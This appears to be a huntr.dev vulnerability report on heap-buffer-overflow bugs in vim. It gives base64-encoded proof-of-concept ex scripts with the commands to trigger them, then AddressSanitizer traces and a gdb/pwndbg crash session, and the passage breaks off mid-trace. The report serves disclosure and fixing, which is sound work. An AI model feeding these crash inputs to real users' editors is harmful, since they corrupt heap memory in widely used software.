Lucene search
KnnikitaA3192D90-4F82-4A67-B7A6-37046CC88DEFHistoryJan 24, 2022 - 10:08 a.m.
Heap-based Buffer Overflow in vim/vim
2022-01-2410:08:48
knnikita
www.huntr.dev
10
0.001 Low
EPSS
Percentile
47.9%
Description
2 Heap-buffer-overflow on write in vim
1 Heap-buffer-overflow on read in vim
Heap-buffer-overflow on write in vim #1
Proof of Concept
Steps to reproduce:
echo -n cmV0ODAwCnMvXHYvCQpzZSBhaQpzaWwwbm9ybTppDQ== | base64 -d > heap_ow_poc1
vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc1 -c :qa!
Sanitizer output:
==25213==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000a4e at pc 0x0000004959cf bp 0x7ffdbc4e5880 sp 0x7ffdbc4e5048
WRITE of size 800 at 0x612000000a4e thread T0
#0 0x4959ce in __asan_memset (/home/presler/fuzzing/vim_sanitized/src/vim+0x4959ce)
#1 0x7aeda7 in memset /usr/include/x86_64-linux-gnu/bits/string_fortified.h:71:10
#2 0x7aeda7 in init_ccline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:1526:2
#3 0x79ec64 in getcmdline_int /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:1628:9
#4 0x79e90d in getcmdline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:1562:12
#5 0x7a4556 in getexline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:2772:12
#6 0x71d5f4 in ex_append /home/presler/fuzzing/vim_sanitized/src/ex_cmds.c:3319:16
#7 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#8 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#9 0xa1f0f2 in nv_colon /home/presler/fuzzing/vim_sanitized/src/normal.c:3470:19
#10 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1120:5
#11 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#12 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#13 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#14 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#15 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#16 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#17 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#18 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
#19 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#20 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#21 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#22 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#23 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#24 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#25 0x7f183df5e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#26 0x41db2d in _start (/home/presler/fuzzing/vim_sanitized/src/vim+0x41db2d)
0x612000000a4e is located 0 bytes to the right of 270-byte region [0x612000000940,0x612000000a4e)
allocated by thread T0 here:
#0 0x49626d in malloc (/home/presler/fuzzing/vim_sanitized/src/vim+0x49626d)
#1 0x4c5c67 in lalloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:248:11
#2 0x4c5c3d in alloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:151:12
#3 0x7a74a1 in alloc_cmdbuff /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:3202:22
#4 0x7aed3d in init_ccline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:1516:5
#5 0x79ec64 in getcmdline_int /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:1628:9
#6 0x79e90d in getcmdline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:1562:12
#7 0x7a4556 in getexline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:2772:12
#8 0x71d5f4 in ex_append /home/presler/fuzzing/vim_sanitized/src/ex_cmds.c:3319:16
#9 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#10 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#11 0xa1f0f2 in nv_colon /home/presler/fuzzing/vim_sanitized/src/normal.c:3470:19
#12 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1120:5
#13 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#14 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#15 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#16 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#17 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#18 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#19 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#20 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
#21 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#22 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#23 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#24 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#25 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#26 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#27 0x7f183df5e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/presler/fuzzing/vim_sanitized/src/vim+0x4959ce) in __asan_memset
Shadow bytes around the buggy address:
0x0c247fff80f0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c247fff8110: 00 00 00 00 00 00 00 00 00 06 fa fa fa fa fa fa
0x0c247fff8120: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c247fff8130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c247fff8140: 00 00 00 00 00 00 00 00 00[06]fa fa fa fa fa fa
0x0c247fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c247fff8190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==25213==ABORTING
Dump
presler :: fuzzing/pure_vim/src ‹master*› » ./vim --version
VIM - Vi IMproved 8.2 (2019 Dec 12, compiled Jan 24 2022 12:37:28)
Included patches: 1-4198
Compiled by presler@presler
Huge version without GUI. Features included (+) or not (-):
+acl +file_in_path +mouse_urxvt -tag_any_white
+arabic +find_in_path +mouse_xterm -tcl
+autocmd +float +multi_byte +termguicolors
+autochdir +folding +multi_lang +terminal
-autoservername -footer -mzscheme +terminfo
-balloon_eval +fork() +netbeans_intg +termresponse
+balloon_eval_term +gettext +num64 +textobjects
-browse -hangul_input +packages +textprop
++builtin_terms +iconv +path_extra +timers
+byte_offset +insert_expand -perl +title
+channel +ipv6 +persistent_undo -toolbar
+cindent +job +popupwin +user_commands
-clientserver +jumplist +postscript +vartabs
-clipboard +keymap +printer +vertsplit
+cmdline_compl +lambda +profile +vim9script
+cmdline_hist +langmap -python +viminfo
+cmdline_info +libcall -python3 +virtualedit
+comments +linebreak +quickfix +visual
+conceal +lispindent +reltime +visualextra
+cryptv +listcmds +rightleft +vreplace
+cscope +localmap -ruby +wildignore
+cursorbind -lua +scrollbind +wildmenu
+cursorshape +menu +signs +windows
+dialog_con +mksession +smartindent +writebackup
+diff +modify_fname -sodium -X11
+digraphs +mouse -sound -xfontset
-dnd -mouseshape +spell -xim
-ebcdic +mouse_dec +startuptime -xpm
+emacs_tags -mouse_gpm +statusline -xsmp
+eval -mouse_jsbterm -sun_workshop -xterm_clipboard
+ex_extra +mouse_netterm +syntax -xterm_save
+extra_search +mouse_sgr +tag_binary
-farsi -mouse_sysmouse -tag_old_static
system vimrc file: "$VIM/vimrc"
user vimrc file: "$HOME/.vimrc"
2nd user vimrc file: "~/.vim/vimrc"
user exrc file: "$HOME/.exrc"
defaults file: "$VIMRUNTIME/defaults.vim"
fall-back for $VIM: "/usr/local/share/vim"
Compilation: gcc -c -I. -Iproto -DHAVE_CONFIG_H -g3 -D_REENTRANT -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=1
Linking: gcc -L/usr/local/lib -Wl,--as-needed -o vim -lSM -lICE -lm -ltinfo -lselinux -ldl
presler :: fuzzing/pure_vim/src ‹master*› » ./vim -u NONE -i NONE -n -X -Z -e -m -s -S /home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 -c :qa!
malloc(): invalid size (unsorted)
[1] 25915 abort ./vim -u NONE -i NONE -n -X -Z -e -m -s -S -c :qa!
presler :: fuzzing/pure_vim/src ‹master*› » gdb ./vim -q 134 ↵
pwndbg: loaded 196 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vim...
pwndbg> r -u NONE -i NONE -n -X -Z -e -m -s -S /home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 -c :qa!
Starting program: /home/presler/fuzzing/pure_vim/src/vim -u NONE -i NONE -n -X -Z -e -m -s -S /home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 -c :qa!
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
malloc(): invalid size (unsorted)
Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x7ffff7b54800 ◂— 0x7ffff7b54800
RCX 0x7ffff7c5218b (raise+203) ◂— mov rax, qword ptr [rsp + 0x108]
RDX 0x0
RDI 0x2
RSI 0x7fffffffb050 ◂— 0x0
R8 0x0
R9 0x7fffffffb050 ◂— 0x0
R10 0x8
R11 0x246
R12 0x7fffffffb2c0 ◂— 0x0
R13 0x10
R14 0x7ffff7fba000 ◂— 0x6c6c616d00001000
R15 0x1
RBP 0x7fffffffb3a0 ◂— 0x0
RSP 0x7fffffffb050 ◂— 0x0
RIP 0x7ffff7c5218b (raise+203) ◂— mov rax, qword ptr [rsp + 0x108]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
► 0x7ffff7c5218b <raise+203> mov rax, qword ptr [rsp + 0x108]
0x7ffff7c52193 <raise+211> xor rax, qword ptr fs:[0x28]
0x7ffff7c5219c <raise+220> jne raise+260 <raise+260>
↓
0x7ffff7c521c4 <raise+260> call __stack_chk_fail <__stack_chk_fail>
0x7ffff7c521c9 nop dword ptr [rax]
0x7ffff7c521d0 <killpg> endbr64
0x7ffff7c521d4 <killpg+4> test edi, edi
0x7ffff7c521d6 <killpg+6> js killpg+16 <killpg+16>
0x7ffff7c521d8 <killpg+8> neg edi
0x7ffff7c521da <killpg+10> jmp kill <kill>
0x7ffff7c521df <killpg+15> nop
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsi r9 rsp 0x7fffffffb050 ◂— 0x0
... ↓ 7 skipped
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
► f 0 0x7ffff7c5218b raise+203
f 1 0x7ffff7c31859 abort+299
f 2 0x7ffff7c9c3ee __libc_message+670
f 3 0x7ffff7ca447c
f 4 0x7ffff7ca7234 _int_malloc+1604
f 5 0x7ffff7ca92d4 malloc+116
f 6 0x555555589cf9 lalloc+75
f 7 0x555555589b90 alloc+33
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007ffff7c31859 in __GI_abort () at abort.c:79
#2 0x00007ffff7c9c3ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7dc6285 "%s\n") at ../sysdeps/posix/libc_fatal.c:155
#3 0x00007ffff7ca447c in malloc_printerr (str=str@entry=0x7ffff7dc8a50 "malloc(): invalid size (unsorted)") at malloc.c:5347
#4 0x00007ffff7ca7234 in _int_malloc (av=av@entry=0x7ffff7df7b80 <main_arena>, bytes=bytes@entry=1) at malloc.c:3736
#5 0x00007ffff7ca92d4 in __GI___libc_malloc (bytes=1) at malloc.c:3058
#6 0x0000555555589cf9 in lalloc (size=1, message=1) at alloc.c:248
#7 0x0000555555589b90 in alloc (size=1) at alloc.c:151
#8 0x00005555557820c3 in vim_strsave (string=0x55555586fe58 "") at strings.c:27
#9 0x00005555555ffcd4 in set_vim_var_string (idx=5, val=0x55555586fe58 "", len=-1) at evalvars.c:2492
#10 0x00005555558614fd in msg_attr_keep (s=0x55555586fe58 "", attr=0, keep=0) at message.c:143
#11 0x000055555586143a in msg (s=0x55555586fe58 "") at message.c:102
#12 0x0000555555627c1e in abandon_cmdline () at ex_getln.c:85
#13 0x000055555562c58f in getcmdline_int (firstc=0, count=1, indent=800, clear_ccline=1) at ex_getln.c:2454
#14 0x000055555562aaab in getcmdline (firstc=0, count=1, indent=800, do_concat=GETLINE_CONCAT_CONT) at ex_getln.c:1562
#15 0x000055555562cd94 in getexline (c=0, cookie=0x0, indent=800, options=GETLINE_CONCAT_CONT) at ex_getln.c:2772
#16 0x000055555560d330 in ex_append (eap=0x7fffffffb8e0) at ex_cmds.c:3319
#17 0x00005555556169a7 in do_one_cmd (cmdlinep=0x7fffffffbb10, flags=0, cstack=0x7fffffffbbf0, fgetline=0x55555562cd4d <getexline>, cookie=0x0) at ex_docmd.c:2573
#18 0x0000555555613b8a in do_cmdline (cmdline=0x0, fgetline=0x55555562cd4d <getexline>, cookie=0x0, flags=0) at ex_docmd.c:993
#19 0x00005555556b6a10 in nv_colon (cap=0x7fffffffc310) at normal.c:3470
#20 0x00005555556b2a34 in normal_cmd (oap=0x7fffffffc3a0, toplevel=1) at normal.c:1120
#21 0x0000555555621e46 in exec_normal (was_typed=0, use_vpeekc=0, may_use_terminal_loop=0) at ex_docmd.c:8638
#22 0x0000555555621d8a in exec_normal_cmd (cmd=0x55555593bc18 ":i\r", remap=0, silent=0) at ex_docmd.c:8601
#23 0x0000555555621b98 in ex_normal (eap=0x7fffffffc5f0) at ex_docmd.c:8519
#24 0x00005555556169a7 in do_one_cmd (cmdlinep=0x7fffffffc820, flags=7, cstack=0x7fffffffc900, fgetline=0x5555557467f1 <getsourceline>, cookie=0x7fffffffd050) at ex_docmd.c:2573
#25 0x0000555555613b8a in do_cmdline (cmdline=0x5555559385f0 "ret800", fgetline=0x5555557467f1 <getsourceline>, cookie=0x7fffffffd050, flags=7) at ex_docmd.c:993
#26 0x0000555555745dba in do_source (fname=0x555555938033 "/home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 ", check_other=0, is_vimrc=0, ret_sid=0x0) at scriptfile.c:1512
#27 0x00005555557451b7 in cmd_source (fname=0x555555938033 "/home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 ", eap=0x7fffffffd1a0) at scriptfile.c:1098
#28 0x0000555555745207 in ex_source (eap=0x7fffffffd1a0) at scriptfile.c:1124
#29 0x00005555556169a7 in do_one_cmd (cmdlinep=0x7fffffffd3d0, flags=11, cstack=0x7fffffffd4b0, fgetline=0x0, cookie=0x0) at ex_docmd.c:2573
#30 0x0000555555613b8a in do_cmdline (cmdline=0x555555934430 "so /home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 ", fgetline=0x0, cookie=0x0, flags=11) at ex_docmd.c:993
#31 0x0000555555613015 in do_cmdline_cmd (cmd=0x555555934430 "so /home/presler/fuzzing/vim/src/minimized_poc/heap_ow_poc1 ") at ex_docmd.c:587
#32 0x000055555585e474 in exe_commands (parmp=0x55555591b480 <params>) at main.c:3091
#33 0x000055555585b3ca in vim_main2 () at main.c:774
#34 0x000055555585ad71 in main (argc=15, argv=0x7fffffffdcb8) at main.c:426
#35 0x00007ffff7c330b3 in __libc_start_main (main=0x55555585a939 <main>, argc=15, argv=0x7fffffffdcb8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdca8) at ../csu/libc-start.c:308
#36 0x0000555555589a4e in _start ()
Heap-buffer-overflow on write in vim #2
Proof of Concept
Steps to reproduce:
echo -n bm9ybTBRgFBTMP8wMDCysDAwMDAwMDAwMDAwMDAw/zD/g7IwMDAwMDAwMDAwjjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAD | base64 -d > heap_ow_poc2
vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc2 -c :qa!
Sanitizer output:
==1637==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000000e66 at pc 0x0000007a6af2 bp 0x7fff3b93fd50 sp 0x7fff3b93fd48
WRITE of size 1 at 0x607000000e66 thread T0
#0 0x7a6af1 in getexmodeline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:2933:21
#1 0x7371d9 in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:876:46
#2 0x735134 in do_exmode /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#3 0xa27ab8 in nv_exmode /home/presler/fuzzing/vim_sanitized/src/normal.c:3423:2
#4 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1120:5
#5 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#6 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#7 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#8 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#9 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#10 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#11 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#12 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
#13 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#14 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#15 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#16 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#17 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#18 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#19 0x7fb0cd8730b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#20 0x41db2d in _start (/home/presler/fuzzing/vim_sanitized/src/vim+0x41db2d)
0x607000000e66 is located 0 bytes to the right of 70-byte region [0x607000000e20,0x607000000e66)
allocated by thread T0 here:
#0 0x496589 in realloc (/home/presler/fuzzing/vim_sanitized/src/vim+0x496589)
#1 0x4c7722 in ga_grow_inner /home/presler/fuzzing/vim_sanitized/src/alloc.c:741:10
#2 0x4c74dd in ga_grow /home/presler/fuzzing/vim_sanitized/src/alloc.c:720:9
#3 0x648655 in bracketed_paste /home/presler/fuzzing/vim_sanitized/src/edit.c:4446:26
#4 0x7a4aee in getexmodeline /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:2874:6
#5 0x7371d9 in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:876:46
#6 0x735134 in do_exmode /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#7 0xa27ab8 in nv_exmode /home/presler/fuzzing/vim_sanitized/src/normal.c:3423:2
#8 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1120:5
#9 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#10 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#11 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#12 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#13 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#14 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#15 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#16 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
#17 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#18 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#19 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#20 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#21 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#22 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#23 0x7fb0cd8730b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/presler/fuzzing/vim_sanitized/src/ex_getln.c:2933:21 in getexmodeline
Shadow bytes around the buggy address:
0x0c0e7fff8170: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
0x0c0e7fff8180: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
0x0c0e7fff8190: 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 00 00
0x0c0e7fff81a0: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0e7fff81b0: 00 fa fa fa fa fa 00 00 00 00 00 00 00 00 00 01
=>0x0c0e7fff81c0: fa fa fa fa 00 00 00 00 00 00 00 00[06]fa fa fa
0x0c0e7fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1637==ABORTING
Heap-buffer-overflow on read in vim #1
Proof of Concept
Steps to reproduce:
echo -n c2lsIW5vcm0wbxSA/zAWenk= | base64 -d > heap_ow_poc3
vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc3 -c :qa!
Sanitizer output:
==1937==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000722f at pc 0x000000c35e3a bp 0x7ffcb4567010 sp 0x7ffcb4567008
READ of size 1 at 0x60200000722f thread T0
#0 0xc35e39 in yank_copy_line /home/presler/fuzzing/vim_sanitized/src/register.c:1477:9
#1 0xc30874 in op_yank /home/presler/fuzzing/vim_sanitized/src/register.c:1217:7
#2 0xa7bffa in do_pending_operator /home/presler/fuzzing/vim_sanitized/src/ops.c:4027:9
#3 0x9fef02 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1146:2
#4 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#5 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#6 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#7 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#8 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#9 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#10 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#11 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
#12 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#13 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#14 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:587:12
#15 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/main.c:3091:2
#16 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/main.c:774:2
#17 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:426:12
#18 0x7fc84b9c50b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#19 0x41db2d in _start (/home/presler/fuzzing/vim_sanitized/src/vim+0x41db2d)
0x60200000722f is located 1 bytes to the left of 2-byte region [0x602000007230,0x602000007232)
allocated by thread T0 here:
#0 0x49626d in malloc (/home/presler/fuzzing/vim_sanitized/src/vim+0x49626d)
#1 0x4c5c67 in lalloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:248:11
#2 0x4c5c3d in alloc /home/presler/fuzzing/vim_sanitized/src/alloc.c:151:12
#3 0x8aaf87 in set_indent /home/presler/fuzzing/vim_sanitized/src/indent.c:682:12
#4 0xa50bca in shift_line /home/presler/fuzzing/vim_sanitized/src/ops.c:269:8
#5 0x8b42e4 in change_indent /home/presler/fuzzing/vim_sanitized/src/indent.c:1302:2
#6 0x643eea in ins_shift /home/presler/fuzzing/vim_sanitized/src/edit.c
#7 0x63ae2f in edit /home/presler/fuzzing/vim_sanitized/src/edit.c:956:6
#8 0xa3f602 in invoke_edit /home/presler/fuzzing/vim_sanitized/src/normal.c:7285:9
#9 0xa40d1f in n_opencmd /home/presler/fuzzing/vim_sanitized/src/normal.c:6544:6
#10 0xa27858 in nv_open /home/presler/fuzzing/vim_sanitized/src/normal.c:7664:2
#11 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normal.c:1120:5
#12 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c
#13 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8601:5
#14 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:8519:6
#15 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:2573:2
#16 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_docmd.c:993:17
#17 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1512:5
#18 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1098:14
#19 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scriptfile.c:1124:2
